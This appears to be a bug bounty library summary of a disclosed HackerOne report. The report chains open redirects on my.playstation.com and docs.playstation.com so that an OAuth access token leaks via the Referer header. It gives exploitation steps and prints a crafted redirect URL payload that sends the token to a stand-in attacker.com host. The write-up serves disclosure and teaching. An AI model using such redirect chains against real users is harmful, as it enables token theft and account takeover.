# Access Token Smuggling from my.playstation.com via Referer Header

Chained open redirects on my.playstation.com and docs.playstation.com leaked the OAuth access token via Referer header to an attacker site.

- Payout: $1,000
- Severity: high
- Program: PlayStation
- Found by: nnez
- Disclosed: 2021-01-12
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/835437
- Library page: https://bugbountylibrary.com/r/h1%3A835437
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:oauth technique:chained technique:source-review vuln:info-disclosure vuln:open-redirect

**Target:** my.playstation.com /auth/response.html OAuth redirect handler
**Root cause:** The response.html handler concatenates user-controlled targetOrigin/baseUrl/returnRoute into a redirect URL and only validates the origin regex; combined with a second open redirect on docs.playstation.com, the consumer_token placed in the URL query (via hash/query merge in parseResponse) is reflected in the Referer header to an external site.
**Steps:**
1. Observe /auth/response.html sendResponseToApp builds redirect from targetOrigin+baseUrl+returnRoute+query and only regex-checks playstation.com origin.
2. Find docs.playstation.com/consumers/auth/psn_oauth2?callback_url=... open redirect that appends jwt token in query parameter to callback_url.
3. Note access_token arrives in hash fragment (not in Referer); use parseResponse merge of hash+query to move it into query.
4. Craft redirect_uri ending with `#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html?` so the token after `?` gets URL-encoded into returnRoute.
5. Set query `baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://attacker.com`.
6. Send victim the auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize link with the crafted redirect_uri; victim auto-redirects through chain and attacker site reads token from Referer.
**How found:** Reviewed the auth flow and response.html source, spotted the requestID=external redirect branch with only an origin regex, hypothesized a subdomain open redirect was needed, hunted docs.playstation.com and found callback_url open redirect, then noticed token was in hash (not Referer) and used the parseResponse hash+query merge plus `?`-encoding behavior to relocate the token into the query string.
**Exploitation:** Victim already logged into PSN clicks the crafted OAuth authorize URL; redirect_uri is validated only by origin so the crafted query/hash is accepted. The token lands in the hash, parseResponse merges hash+query and the `?`-encoding trick folds access_token into returnRoute, which is then used as the redirect target. Chain: my.playstation.com -> docs.playstation.com open redirect -> attacker.com, where the Referer header carries the full URL including consumer_token.
**Escalation:** Chained two separate open redirects (my.playstation.com handler + docs.playstation.com psn_oauth2 callback_url) to convert a same-origin token leak into cross-origin exfiltration.
**Insight:** When a redirect handler merges location.hash and location.search into one param object, a `?` inside the hash value gets URL-encoded, letting you smuggle later hash params (like access_token) into a user-controlled redirect param that then appears in Referer.

## Proof of concept (copied exactly from the original report)

**Final exploit redirect_uri payload with hash fragment**

```
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html?
```

**Open redirect chain via docs.playstation.com callback_url**

```
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.google.co.th
```

